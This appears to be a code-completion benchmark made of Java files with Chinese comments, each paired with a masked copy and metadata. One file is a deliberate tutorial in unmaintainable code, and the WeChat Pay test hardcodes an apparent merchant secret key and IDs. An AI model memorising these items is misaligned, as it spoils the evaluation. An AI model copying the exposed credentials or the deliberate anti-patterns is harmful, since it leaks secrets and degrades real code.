//永远不要对变量声明加注释。有关变量使用的方式、边界值、合法值、小数点后的位数、计量单位、显示格式、数据录入规则等等,后继者完全可以自己从程序代码中去理解和整理嘛 // 避免使用 assert() 机制 // 为了提高效率,不要使用封装。方法的调用者需要所有能得到的外部信息,以便了解方法的内部是如何工作的。 // 把八进制数混到十进制数列表里,就像这样: int arr[] = {111, 120, 013, 121}; // C编译器会把 myArray[i] 转换成 *(myArray + i),它等同于 *(i + myArray) 也等同于 i[myArray]。 // 在非异常条件下才要使用异常。比如终止循环就可以用 ArrayIndexOutOfBoundsException。还可以从异常里的方法返回标准的结果。 int re=0; try { re = s_um(10); } catch (Exception e) { //e.printStackTrace(); re = Tools.parseInt(e.getMessage()); } Tools.out("exception res sum = " ,re); for(int man = 0 ; man < 100; man++,man++){ } assert(x > 0); Tools.out(x); return x*2>0?true:false; } int s_um(int i) throws Exception{ int res = 0; int j = 0; j=1; for(int va=0;va<i;va++){ res += va; if(va == i-1) throw new Exception(res + ""); } return -1; } // FORTRAN // // 用 FORTRAN 写所有的代码。如果老板问你为啥,你可以回答说它有很多非常有用的库,你用它可以节约时间。不过,用 FORTRAN 写出可维护代码的概率是 0,所以,要达到不可维护代码编程指南里的要求就容易多了。 // 用 ASM // // 把所有的通用工具函数都转成汇编程序。 // 用 QBASIC // // 所有重要的库函数都要用 QBASIC 写,然后再写个汇编的封包程序来处理 large 到 medium 的内存模型映射。 // 内联汇编 // // 在你的代码里混杂一些内联的汇编程序,这样很好玩。这年头几乎没人懂汇编程序了。只要放几行汇编代码就能让维护代码的程序员望而却步。 // 宏汇编调用C // // 如果你有个汇编模块被C调用,那就尽可能经常从汇编模块再去调用C,即使只是出于微不足道的用途,另外要充分利用 goto, bcc 和其他炫目的汇编秘籍。 //源码和编译jar包代码不一致!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //定义常量覆盖专用词语 // 定义一个叫 TRUE 的静态常量。在这种情况下,其他程序员更有可能怀疑你干的不是好事,因为Java里已经有了内建的标识符 true。 //未使用变量i=i }
1424234500/BaseSSM
src/com/walker/common/study/SomethingTest.java
2,875
//但是永远不要记录包或者方法的整体设计这样的干货。
line_comment
zh-cn
package com.walker.common.study; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import org.apache.commons.collections.CollectionUtils; import com.walker.common.util.ThreadUtil; import com.walker.common.util.Tools; import com.walker.common.util.ThreadUtil.Type; /** * 如何写出无法维护的代码 * */ public class SomethingTest { public static void main(String[] args) { // new Test(); testSort(); } public static void testSort(){ int arr[] = {0,3,2,1,4,5,6,2}; List<Integer> list = new ArrayList(); for(int i : arr){ list.add(i); } Tools.out(list); Collections.sort(list); Tools.out(list); long time, time2; time = System.currentTimeMillis(); Comparator com = new Comparator<Map>(){ @Override public int compare(Map o1, Map o2) { return o1.get("key").toString().compareTo(o2.get("key").toString()); } }; for(int count = 1000; count < 10000000; count*=2){ List<Map> listMap1 = new ArrayList<Map>(); List<Map> listMap = new ArrayList<Map>(); for(int i = 0; i < count; i++){ Map map = new HashMap(); map.put("key", (int)(Math.random()*1000)); listMap.add(map); listMap1.add(map); } time2 = System.currentTimeMillis(); Tools.out("make list", count, Tools.calcTime(time2 - time)); time = time2; // Tools.out(listMap); Collections.sort(listMap, com); // Tools.out(listMap); time2 = System.currentTimeMillis(); Tools.out("sort list com", Tools.calcTime(time2 - time), count); time = time2; // Tools.out(listMap1); // for(int i = 0; i < listMap1.size() - 1; i++){ // for(int j = i+1; j < listMap1.size(); j++){ // if(com.compare(listMap1.get(i), listMap1.get(j)) > 0) // Collections.swap(listMap1, i, j); // } // } // Tools.out(listMap1); time2 = System.currentTimeMillis(); // Tools.out("sort list for", Tools.calcTime(time2 - time), count); time = time2; } } public static void testInt(){ int a = 32768;//15 int aa = a*a;//30 out(aa, "30"); out(aa-1+aa, "31-1");//31-1 out(aa+aa-1, "31-1 flow 不影响");//31-1 out(aa+aa, "31");//31 out(-aa+1-aa, "-31+1");//-31+1 out(-aa-aa, "-31");//-31 out(-aa-aa-1, "-31-1");//-31 out("-31", -2*aa, "31-1", aa*2-1); out(aa*4);//33 } SomethingTest(){ // defineWord(); } public void testThread(){ final String name = "T-master"; ThreadUtil.execute(Type.DefaultThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out(name, tt++); ThreadUtil.sleep(1000); if(tt > 30) break; } } }); for(int i = 0; i < 1; i++){ final int name1 = i; ThreadUtil.execute(Type.DefaultThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out("T"+name1, Tools.getFill(name1, " - "), tt++); ThreadUtil.sleep(200); if(tt > 10) break; } } }); } final LinkedBlockingDeque<Object> lbq = new LinkedBlockingDeque<>(); final String name2 = "T-master-2"; ThreadUtil.execute(Type.SingleThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out("定时添加任务到队列", name2, tt++); lbq.add("队列任务" + tt); ThreadUtil.sleep(1000); if(tt > 10) break; } } }); //   add 增加一个元索 如果队列已满,则抛出一个IIIegaISlabEepeplian异常 //   remove 移除并返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常 //   element 返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常 //   offer 添加一个元素并返回true 如果队列已满,则返回false //   poll 移除并返问队列头部的元素 如果队列为空,则返回null //   peek 返回队列头部的元素 如果队列为空,则返回null //   put 添加一个元素 如果队列满,则阻塞 //   take 移除并返回队列头部的元素 如果队列为空,则阻塞 ThreadUtil.scheduleWithFixedDelay(new Runnable() { @Override public void run() { if(lbq.peek() != null) Tools.out("----执行任务", lbq.remove()); else Tools.out("----无任务-----"); } }, 3, 2, TimeUnit.SECONDS); ThreadUtil.execute(Type.SingleThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out("定时添加任务到队列1", name2, tt++); lbq.add("任务!!---!" + tt); ThreadUtil.sleep(10000); if(tt > 10) break; } } }); } int arr = 0; //全局命名重用为私有 void defineWord(){ int arr = 1; int α = 1; Tools.out(α); long l = 10l, ll = 101l, li1l = 1011L; String mnnrnvuw; int O = 0; int a = 1;/* main int b = 2; * loop int c = 3; */ int d = 4; isValid(-1); } public static void out(Object...objects){ Tools.out(objects); } boolean isValid(int x){ /* 给 i 加 1 */ //但是 <SUF> //只解释一个程序功能的细节,而不是它要完成的任务是什么。 //如果你怀疑某个类里可能有bug,天知地知你知就好 //永远不要对变量声明加注释。有关变量使用的方式、边界值、合法值、小数点后的位数、计量单位、显示格式、数据录入规则等等,后继者完全可以自己从程序代码中去理解和整理嘛 // 避免使用 assert() 机制 // 为了提高效率,不要使用封装。方法的调用者需要所有能得到的外部信息,以便了解方法的内部是如何工作的。 // 把八进制数混到十进制数列表里,就像这样: int arr[] = {111, 120, 013, 121}; // C编译器会把 myArray[i] 转换成 *(myArray + i),它等同于 *(i + myArray) 也等同于 i[myArray]。 // 在非异常条件下才要使用异常。比如终止循环就可以用 ArrayIndexOutOfBoundsException。还可以从异常里的方法返回标准的结果。 int re=0; try { re = s_um(10); } catch (Exception e) { //e.printStackTrace(); re = Tools.parseInt(e.getMessage()); } Tools.out("exception res sum = " ,re); for(int man = 0 ; man < 100; man++,man++){ } assert(x > 0); Tools.out(x); return x*2>0?true:false; } int s_um(int i) throws Exception{ int res = 0; int j = 0; j=1; for(int va=0;va<i;va++){ res += va; if(va == i-1) throw new Exception(res + ""); } return -1; } // FORTRAN // // 用 FORTRAN 写所有的代码。如果老板问你为啥,你可以回答说它有很多非常有用的库,你用它可以节约时间。不过,用 FORTRAN 写出可维护代码的概率是 0,所以,要达到不可维护代码编程指南里的要求就容易多了。 // 用 ASM // // 把所有的通用工具函数都转成汇编程序。 // 用 QBASIC // // 所有重要的库函数都要用 QBASIC 写,然后再写个汇编的封包程序来处理 large 到 medium 的内存模型映射。 // 内联汇编 // // 在你的代码里混杂一些内联的汇编程序,这样很好玩。这年头几乎没人懂汇编程序了。只要放几行汇编代码就能让维护代码的程序员望而却步。 // 宏汇编调用C // // 如果你有个汇编模块被C调用,那就尽可能经常从汇编模块再去调用C,即使只是出于微不足道的用途,另外要充分利用 goto, bcc 和其他炫目的汇编秘籍。 //源码和编译jar包代码不一致!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //定义常量覆盖专用词语 // 定义一个叫 TRUE 的静态常量。在这种情况下,其他程序员更有可能怀疑你干的不是好事,因为Java里已经有了内建的标识符 true。 //未使用变量i=i }
0
2,406
13
2,817
19
2,753
16
2,817
19
3,813
36
false
false
false
false
false
true
53833_20
package service; import com.cc.Constant; import com.cc.R; import interfac.CallString; import net.Client; import net.MSGTYPE; import net.Msg; import util.AndroidTools; import util.Tools; import android.app.Notification; import android.app.NotificationManager; import android.app.Service; import android.content.Intent; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Looper; import android.os.Message; import android.support.v4.app.NotificationCompat; import android.support.v4.content.LocalBroadcastManager; public class NetService extends Service implements CallString { public Client client;//网络工具 LocalBroadcastManager localBroadcastManager; //本地的activity广播机制 NotificationManager notificationManager;//推送栏广播 @Override public void onCreate() { super.onCreate(); out(" onCreate "); notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);//推送栏广播 localBroadcastManager = LocalBroadcastManager.getInstance(this); client = new net.impl.mina.ClientImpl(){ @Override public void onReceive(String str) { callback(str); } }; client.start(); } @Override public void onDestroy() { client.stop(); //关闭service时自动关闭net连接 super.onDestroy(); out(" onDestroy "); } //之后多次startService方式来传递指令 @Override public int onStartCommand(Intent intent, int flags, int startId) { if(intent != null){ Bundle bun = intent.getExtras(); if(bun != null) { String jsonstr =bun.getString("msg"); if(Tools.notNull( jsonstr)){ out(" onStartCommand." + jsonstr); this.client.send(jsonstr); }else{ out("NetService. onStartCommand intent.getExtras().getString('msg') 为null ???"); } if(Tools.notNull(bun.getString("socket"))){ //socket重连指令 this.client.reconnect(bun.getString("socket")); } }else{ out("NetService. onStartCommand intent.getExtras() 为null ???"); } }else{ out("NetService. onStartCommand intent 为null ???"); } return super.onStartCommand(intent, flags, startId); } public void out(String str) { // AndroidTools.out( "NetService." + str); } //获取client从服务器收到的消息串,包装作为广播发送给 activitys @Override public void callback(String jsonstr) { // switch(JsonUtil.getCmd(jsonstr)){ // case MSGTYPE.CLOSE : //服务器传来的关闭net // //this.client.stop(); // return; // case MSGTYPE.BEATS: //服务器测试心跳 // //this.client.send(JsonUtil.makeJson(MSGTYPE.BEATS, "1")); // return; // } // out("get."+jsonstr); Msg msg = new Msg(jsonstr); jsonstr = msg.getDataJson(); //消息体中的实际消息包 除去中转系统转发参数 String type = msg.get("type", ""); //文本中转消息 中 的 推送提示消息 if(type.equals("push")){ // Looper.prepare(); //主线程中自动创建 子线程中需手动创建 push(msg); } switch(msg.getMsgType()){ case Msg.BROADCAST_SYS: case Msg.BROADCAST: AndroidTools.out(msg.get("info", "广播")); case Msg.DATA: localBroadcastManager.sendBroadcast(new Intent(MSGTYPE.broadcastUrl).putExtra("msg", jsonstr)); //发送应用内广播 break; } } public void push(Msg msg){ String title = msg.get("title","title"); String text = msg.get("text","text"); String ticker = msg.get("ticker","ticker"); Notification notification = new Notification.Builder(this) .setSmallIcon(R.drawable.ic_launcher)//设置小图标 .setContentTitle(title) .setContentText(text) .build(); notification.flags = Notification.FLAG_AUTO_CANCEL; notificationManager.notify(0, notification); AndroidTools.systemVoiceToast(this); } @Override public IBinder onBind(Intent arg0) { return null; } }
1424234500/cc
app/src/main/java/service/NetService.java
1,189
//发送应用内广播
line_comment
zh-cn
package service; import com.cc.Constant; import com.cc.R; import interfac.CallString; import net.Client; import net.MSGTYPE; import net.Msg; import util.AndroidTools; import util.Tools; import android.app.Notification; import android.app.NotificationManager; import android.app.Service; import android.content.Intent; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Looper; import android.os.Message; import android.support.v4.app.NotificationCompat; import android.support.v4.content.LocalBroadcastManager; public class NetService extends Service implements CallString { public Client client;//网络工具 LocalBroadcastManager localBroadcastManager; //本地的activity广播机制 NotificationManager notificationManager;//推送栏广播 @Override public void onCreate() { super.onCreate(); out(" onCreate "); notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);//推送栏广播 localBroadcastManager = LocalBroadcastManager.getInstance(this); client = new net.impl.mina.ClientImpl(){ @Override public void onReceive(String str) { callback(str); } }; client.start(); } @Override public void onDestroy() { client.stop(); //关闭service时自动关闭net连接 super.onDestroy(); out(" onDestroy "); } //之后多次startService方式来传递指令 @Override public int onStartCommand(Intent intent, int flags, int startId) { if(intent != null){ Bundle bun = intent.getExtras(); if(bun != null) { String jsonstr =bun.getString("msg"); if(Tools.notNull( jsonstr)){ out(" onStartCommand." + jsonstr); this.client.send(jsonstr); }else{ out("NetService. onStartCommand intent.getExtras().getString('msg') 为null ???"); } if(Tools.notNull(bun.getString("socket"))){ //socket重连指令 this.client.reconnect(bun.getString("socket")); } }else{ out("NetService. onStartCommand intent.getExtras() 为null ???"); } }else{ out("NetService. onStartCommand intent 为null ???"); } return super.onStartCommand(intent, flags, startId); } public void out(String str) { // AndroidTools.out( "NetService." + str); } //获取client从服务器收到的消息串,包装作为广播发送给 activitys @Override public void callback(String jsonstr) { // switch(JsonUtil.getCmd(jsonstr)){ // case MSGTYPE.CLOSE : //服务器传来的关闭net // //this.client.stop(); // return; // case MSGTYPE.BEATS: //服务器测试心跳 // //this.client.send(JsonUtil.makeJson(MSGTYPE.BEATS, "1")); // return; // } // out("get."+jsonstr); Msg msg = new Msg(jsonstr); jsonstr = msg.getDataJson(); //消息体中的实际消息包 除去中转系统转发参数 String type = msg.get("type", ""); //文本中转消息 中 的 推送提示消息 if(type.equals("push")){ // Looper.prepare(); //主线程中自动创建 子线程中需手动创建 push(msg); } switch(msg.getMsgType()){ case Msg.BROADCAST_SYS: case Msg.BROADCAST: AndroidTools.out(msg.get("info", "广播")); case Msg.DATA: localBroadcastManager.sendBroadcast(new Intent(MSGTYPE.broadcastUrl).putExtra("msg", jsonstr)); //发送 <SUF> break; } } public void push(Msg msg){ String title = msg.get("title","title"); String text = msg.get("text","text"); String ticker = msg.get("ticker","ticker"); Notification notification = new Notification.Builder(this) .setSmallIcon(R.drawable.ic_launcher)//设置小图标 .setContentTitle(title) .setContentText(text) .build(); notification.flags = Notification.FLAG_AUTO_CANCEL; notificationManager.notify(0, notification); AndroidTools.systemVoiceToast(this); } @Override public IBinder onBind(Intent arg0) { return null; } }
0
940
6
1,163
7
1,133
6
1,163
7
1,488
11
false
false
false
false
false
true
52963_4
package com.wang.structure; public class TestList { public void test(){ //创建顺序表对象 SequenceList<String> sl = new SequenceList<>(10); //测试插入 sl.insert("姚明"); sl.insert("科比"); sl.insert("麦迪"); sl.insert(1,"詹姆斯"); //测试获取 String getResult = sl.get(1); System.out.println("获取索引1处的结果为:"+getResult); //测试删除 String removeResult = sl.remove(0); System.out.println("删除的元素是:"+removeResult); //测试清空 sl.clear(); System.out.println("清空后的线性表中的元素个数为:"+sl.length()); } }
1457668696/learn
Java/structure/TestList.java
186
//测试清空
line_comment
zh-cn
package com.wang.structure; public class TestList { public void test(){ //创建顺序表对象 SequenceList<String> sl = new SequenceList<>(10); //测试插入 sl.insert("姚明"); sl.insert("科比"); sl.insert("麦迪"); sl.insert(1,"詹姆斯"); //测试获取 String getResult = sl.get(1); System.out.println("获取索引1处的结果为:"+getResult); //测试删除 String removeResult = sl.remove(0); System.out.println("删除的元素是:"+removeResult); //测试 <SUF> sl.clear(); System.out.println("清空后的线性表中的元素个数为:"+sl.length()); } }
0
160
4
186
4
191
3
186
4
248
5
false
false
false
false
false
true
57819_4
假设你正在读取一串整数。每隔一段时间,你希望能找出数字 x 的秩(小于或等于 x 的值的个数)。请实现数据结构和算法来支持这些操作,也就是说: 实现 track(int x) 方法,每读入一个数字都会调用该方法; 实现 getRankOfNumber(int x) 方法,返回小于或等于 x 的值的个数。 注意:本题相对原题稍作改动 示例: 输入: ["StreamRank", "getRankOfNumber", "track", "getRankOfNumber"] [[], [1], [0], [0]] 输出: [null,0,null,1] 提示: x <= 50000 track 和 getRankOfNumber 方法的调用次数均不超过 2000 次 //思路①、使用 map 记录某个值出现的次数,获取秩的时候遍历 [0, val],当然,我们默认最小值为 0,如果存在负数,那么就不可靠 class StreamRank { /* 需要每次插入 一个数 就进行一次调整 */ Map<Integer, Integer> map; public StreamRank() { map = new HashMap<>(); } public void track(int x) { map.put(x, map.getOrDefault(x, 0) + 1); } public int getRankOfNumber(int x) { int sum = 0; for(int i = 0; i <= x; i++){ sum += map.getOrDefault(i, 0); } return sum; } } //思路②、实现二叉搜索树 class StreamRank { /* 实现二叉搜索树 我们将小于等于 this.val 的值插在 this 的左子树,然后,顺便 leftSize++ 这意味着 this 节点的 leftSize 记录的是它左子树的节点个数 */ class BST { TreeNode root; public BST() { } public void insert(int val) { if (root == null) { root = new TreeNode(val); } else { root.insert(val); } } public int find(int val) { if (root == null) { return 0; } return root.find(val); } class TreeNode { TreeNode left; TreeNode right; int val; int leftSize = 1; //本身秩为 1 public TreeNode(int val) { this.val = val; } public void insert(int val) { //同值也插在 left if (this.val >= val) { this.leftSize++; if (this.left == null) { this.left = new TreeNode(val); } else { this.left.insert(val); } } else { if (this.right == null) { this.right = new TreeNode(val); } else { this.right.insert(val); } } } public int find(int val) { if (this.val > val) { if (this.left == null) { return 0; } return this.left.find(val); } else { if (this.right == null) { return this.leftSize; } return this.leftSize + this.right.find(val); } } } } BST bst; public StreamRank() { bst = new BST(); } public void track(int x) { bst.insert(x); } public int getRankOfNumber(int x) { return bst.find(x); } }
1471104698/leetcode
设计/面试题 10.10. 数字流的秩(实现二叉搜索树).java
869
//本身秩为 1
line_comment
zh-cn
假设你正在读取一串整数。每隔一段时间,你希望能找出数字 x 的秩(小于或等于 x 的值的个数)。请实现数据结构和算法来支持这些操作,也就是说: 实现 track(int x) 方法,每读入一个数字都会调用该方法; 实现 getRankOfNumber(int x) 方法,返回小于或等于 x 的值的个数。 注意:本题相对原题稍作改动 示例: 输入: ["StreamRank", "getRankOfNumber", "track", "getRankOfNumber"] [[], [1], [0], [0]] 输出: [null,0,null,1] 提示: x <= 50000 track 和 getRankOfNumber 方法的调用次数均不超过 2000 次 //思路①、使用 map 记录某个值出现的次数,获取秩的时候遍历 [0, val],当然,我们默认最小值为 0,如果存在负数,那么就不可靠 class StreamRank { /* 需要每次插入 一个数 就进行一次调整 */ Map<Integer, Integer> map; public StreamRank() { map = new HashMap<>(); } public void track(int x) { map.put(x, map.getOrDefault(x, 0) + 1); } public int getRankOfNumber(int x) { int sum = 0; for(int i = 0; i <= x; i++){ sum += map.getOrDefault(i, 0); } return sum; } } //思路②、实现二叉搜索树 class StreamRank { /* 实现二叉搜索树 我们将小于等于 this.val 的值插在 this 的左子树,然后,顺便 leftSize++ 这意味着 this 节点的 leftSize 记录的是它左子树的节点个数 */ class BST { TreeNode root; public BST() { } public void insert(int val) { if (root == null) { root = new TreeNode(val); } else { root.insert(val); } } public int find(int val) { if (root == null) { return 0; } return root.find(val); } class TreeNode { TreeNode left; TreeNode right; int val; int leftSize = 1; //本身 <SUF> public TreeNode(int val) { this.val = val; } public void insert(int val) { //同值也插在 left if (this.val >= val) { this.leftSize++; if (this.left == null) { this.left = new TreeNode(val); } else { this.left.insert(val); } } else { if (this.right == null) { this.right = new TreeNode(val); } else { this.right.insert(val); } } } public int find(int val) { if (this.val > val) { if (this.left == null) { return 0; } return this.left.find(val); } else { if (this.right == null) { return this.leftSize; } return this.leftSize + this.right.find(val); } } } } BST bst; public StreamRank() { bst = new BST(); } public void track(int x) { bst.insert(x); } public int getRankOfNumber(int x) { return bst.find(x); } }
0
787
7
869
9
909
7
869
9
1,157
10
false
false
false
false
false
true
36326_1
/** * */ package Entity; /** * @author lin * */ public class User { private String sno;//学号 private String psw;//答案 private int lev;//用户级别 public User(String sno,String psw,int lev ){ this.sno = sno; this.psw = psw; this.lev = lev; } /** * @return sno */ public String getSno() { return sno; } /** * @param sno */ public void setSno(String sno) { this.sno = sno; } /** * @return psw */ public String getPsw() { return psw; } /** * @param psw */ public void setPsw(String psw) { this.psw = psw; } /** * @return lev */ public int getLev() { return lev; } /** * @param lev */ public void setLev(int lev) { this.lev = lev; } }
14glwu/WebProject
src/Entity/User.java
302
//用户级别
line_comment
zh-cn
/** * */ package Entity; /** * @author lin * */ public class User { private String sno;//学号 private String psw;//答案 private int lev;//用户 <SUF> public User(String sno,String psw,int lev ){ this.sno = sno; this.psw = psw; this.lev = lev; } /** * @return sno */ public String getSno() { return sno; } /** * @param sno */ public void setSno(String sno) { this.sno = sno; } /** * @return psw */ public String getPsw() { return psw; } /** * @param psw */ public void setPsw(String psw) { this.psw = psw; } /** * @return lev */ public int getLev() { return lev; } /** * @param lev */ public void setLev(int lev) { this.lev = lev; } }
0
238
3
302
3
295
3
302
3
351
9
false
false
false
false
false
true
19581_0
package com.yy.other.constant; /** * 余票查询时每个字段等含义 * */ public enum TicketField { SECRET_STR(0, "车票密钥,下单时用"), REMARK(1, "备注(预定/列车停运/几点起售)"), TRAIN_NO(2, "列车号(240000G41501),查票价时用"), TRAIN_CODE(3, "车次(G415)"), START_STATION_CODE(4, "起始站代码"), END_STATION_CODE(5, "终点站代码"), FROM_STATION_CODE(6, "出发站代码"), TO_STATION_CODE(7, "到达站代码"), FROM_TIME(8, "出发时间"), TO_TIME(9, "到达时间"), DURATION(10, "历经多久"), CAN_BUY(11, "是否可以购买(Y/N)"), START_DATE(13, "列车起始站发车日期(20200123)"), TRAIN_LOCATION(15, "train_location"), FROM_STATION_NO(16, "出发站站序 01表示始发站,大于1表示过站"), TO_STATION_NO(17, "到达站序,对应火车经停的站序"), IS_SUPPORT_CARD(18, "可否使用二代身份证进出站 1可以,0不可以"), HIGH_SOFT_SLEEP_COUNT(21, "高级软卧等数量"), OTHER(22, "其它"), SOFT_SLEEP_COUNT(23, "软卧/一等卧数量"), SOFT_SEAT_COUNT(24, "软座数量"), SPECIAL_SEAT_COUNT(25, "特等座数量"), NONE_SEAT_COUNT(26, "无座数量"), YB_COUNT(27, "无座数量"), HARD_SLEEP_COUNT(28, "硬卧/二等卧数量"), HARD_SEAT_COUNT(29, "硬座数量"), SECOND_SEAT_COUNT(30, "二等座数量"), FIRST_SEAT_COUNT(31, "一等座数量"), BUSINESS_SEAT_COUNT(32, "商务座/特等座数量"), MOTOR_SLEEP_COUNT(33, "动卧数量"), SEAT_TYPES(35, "查询车票价格时的字段"), CAN_BACKUP(37, "是否支持候补,0不支持,1支持"); private int i; private String desc; TicketField(int i, String desc) { this.i = i; this.desc = desc; } public int getI() { return i; } public void setI(int i) { this.i = i; } public String getDesc() { return desc; } public void setDesc(String desc) { this.desc = desc; } }
15207135348/Java12306
src/main/java/com/yy/other/constant/TicketField.java
744
/** * 余票查询时每个字段等含义 * */
block_comment
zh-cn
package com.yy.other.constant; /** * 余票查 <SUF>*/ public enum TicketField { SECRET_STR(0, "车票密钥,下单时用"), REMARK(1, "备注(预定/列车停运/几点起售)"), TRAIN_NO(2, "列车号(240000G41501),查票价时用"), TRAIN_CODE(3, "车次(G415)"), START_STATION_CODE(4, "起始站代码"), END_STATION_CODE(5, "终点站代码"), FROM_STATION_CODE(6, "出发站代码"), TO_STATION_CODE(7, "到达站代码"), FROM_TIME(8, "出发时间"), TO_TIME(9, "到达时间"), DURATION(10, "历经多久"), CAN_BUY(11, "是否可以购买(Y/N)"), START_DATE(13, "列车起始站发车日期(20200123)"), TRAIN_LOCATION(15, "train_location"), FROM_STATION_NO(16, "出发站站序 01表示始发站,大于1表示过站"), TO_STATION_NO(17, "到达站序,对应火车经停的站序"), IS_SUPPORT_CARD(18, "可否使用二代身份证进出站 1可以,0不可以"), HIGH_SOFT_SLEEP_COUNT(21, "高级软卧等数量"), OTHER(22, "其它"), SOFT_SLEEP_COUNT(23, "软卧/一等卧数量"), SOFT_SEAT_COUNT(24, "软座数量"), SPECIAL_SEAT_COUNT(25, "特等座数量"), NONE_SEAT_COUNT(26, "无座数量"), YB_COUNT(27, "无座数量"), HARD_SLEEP_COUNT(28, "硬卧/二等卧数量"), HARD_SEAT_COUNT(29, "硬座数量"), SECOND_SEAT_COUNT(30, "二等座数量"), FIRST_SEAT_COUNT(31, "一等座数量"), BUSINESS_SEAT_COUNT(32, "商务座/特等座数量"), MOTOR_SLEEP_COUNT(33, "动卧数量"), SEAT_TYPES(35, "查询车票价格时的字段"), CAN_BACKUP(37, "是否支持候补,0不支持,1支持"); private int i; private String desc; TicketField(int i, String desc) { this.i = i; this.desc = desc; } public int getI() { return i; } public void setI(int i) { this.i = i; } public String getDesc() { return desc; } public void setDesc(String desc) { this.desc = desc; } }
0
639
14
744
17
742
15
744
17
974
28
false
false
false
false
false
true
50615_6
package cc.mrbird.febs.wx; import cc.mrbird.febs.wx.entity.ResultEntity; import cc.mrbird.febs.wx.entity.TransfersDto; import cc.mrbird.febs.wx.util.WechatpayUtil; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; /** * QQ:2172931891 有任何关于微信开发的问题可以相互交流 */ public class TestApp { private static final Log LOG = LogFactory.getLog(TestApp.class); public static void main(String[] args) { String appkey = "137130421c9b43cb9763b39647a33bd9";// 微信商户秘钥, 根据实际情况填写 String certPath = "D:\\demo\\apiclient_cert.p12";// 微信商户证书路径, 根据实际情况填写 TransfersDto model = new TransfersDto();// 微信接口请求参数, 根据实际情况填写 model.setMch_appid("wx5cc601e2403cd25d"); // 申请商户号的appid或商户号绑定的appid model.setMchid("1260446341"); // 商户号 model.setMch_name("小黄狗商户号"); // 商户名称 model.setOpenid("o2MXC0mRisuBidrelyTh4DIXiN3Y"); // 商户appid下,某用户的openid model.setAmount(1); // 企业付款金额,这里单位为元 model.setDesc("测试企业付款到零钱"); // 微信官方API文档 https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_2 ResultEntity iResult = WechatpayUtil.doTransfers(appkey, certPath, model); LOG.info(iResult); } }
1576891633/red-code
src/main/java/cc/mrbird/febs/wx/TestApp.java
491
// 商户名称
line_comment
zh-cn
package cc.mrbird.febs.wx; import cc.mrbird.febs.wx.entity.ResultEntity; import cc.mrbird.febs.wx.entity.TransfersDto; import cc.mrbird.febs.wx.util.WechatpayUtil; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; /** * QQ:2172931891 有任何关于微信开发的问题可以相互交流 */ public class TestApp { private static final Log LOG = LogFactory.getLog(TestApp.class); public static void main(String[] args) { String appkey = "137130421c9b43cb9763b39647a33bd9";// 微信商户秘钥, 根据实际情况填写 String certPath = "D:\\demo\\apiclient_cert.p12";// 微信商户证书路径, 根据实际情况填写 TransfersDto model = new TransfersDto();// 微信接口请求参数, 根据实际情况填写 model.setMch_appid("wx5cc601e2403cd25d"); // 申请商户号的appid或商户号绑定的appid model.setMchid("1260446341"); // 商户号 model.setMch_name("小黄狗商户号"); // 商户 <SUF> model.setOpenid("o2MXC0mRisuBidrelyTh4DIXiN3Y"); // 商户appid下,某用户的openid model.setAmount(1); // 企业付款金额,这里单位为元 model.setDesc("测试企业付款到零钱"); // 微信官方API文档 https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_2 ResultEntity iResult = WechatpayUtil.doTransfers(appkey, certPath, model); LOG.info(iResult); } }
0
431
4
491
5
474
4
491
5
629
6
false
false
false
false
false
true
53030_1
package com.lfg.rongxiaotong.domain; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import java.io.Serializable; import lombok.Data; /** * 专家预约表 * @TableName tb_reserve */ @TableName(value ="tb_reserve") @Data public class TbReserve implements Serializable { /** * 专家预约 */ @TableId(value = "id", type = IdType.AUTO) private Integer id; /** * 专家 */ @TableField(value = "expert_name") private String expertName; /** * 咨询者 */ @TableField(value = "questioner") private String questioner; /** * 面积 */ @TableField(value = "area") private String area; /** * 土地地址 */ @TableField(value = "address") private String address; /** * 农作物名称 */ @TableField(value = "plant_name") private String plantName; /** * 土壤条件 */ @TableField(value = "soil_condition") private String soilCondition; /** * 作物条件 */ @TableField(value = "plant_condition") private String plantCondition; /** * 作物详细信息 */ @TableField(value = "plant_detail") private String plantDetail; /** * 作物详细信息 */ @TableField(value = "phone") private String phone; /** * 留言 */ @TableField(value = "message") private String message; /** * 回答 */ @TableField(value = "answer") private String answer; /** * */ @TableField(value = "status") private Integer status; @TableField(exist = false) private static final long serialVersionUID = 1L; }
1577648502/RongXiaoTong-backend
src/main/java/com/lfg/rongxiaotong/domain/TbReserve.java
493
/** * 专家预约 */
block_comment
zh-cn
package com.lfg.rongxiaotong.domain; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import java.io.Serializable; import lombok.Data; /** * 专家预约表 * @TableName tb_reserve */ @TableName(value ="tb_reserve") @Data public class TbReserve implements Serializable { /** * 专家预 <SUF>*/ @TableId(value = "id", type = IdType.AUTO) private Integer id; /** * 专家 */ @TableField(value = "expert_name") private String expertName; /** * 咨询者 */ @TableField(value = "questioner") private String questioner; /** * 面积 */ @TableField(value = "area") private String area; /** * 土地地址 */ @TableField(value = "address") private String address; /** * 农作物名称 */ @TableField(value = "plant_name") private String plantName; /** * 土壤条件 */ @TableField(value = "soil_condition") private String soilCondition; /** * 作物条件 */ @TableField(value = "plant_condition") private String plantCondition; /** * 作物详细信息 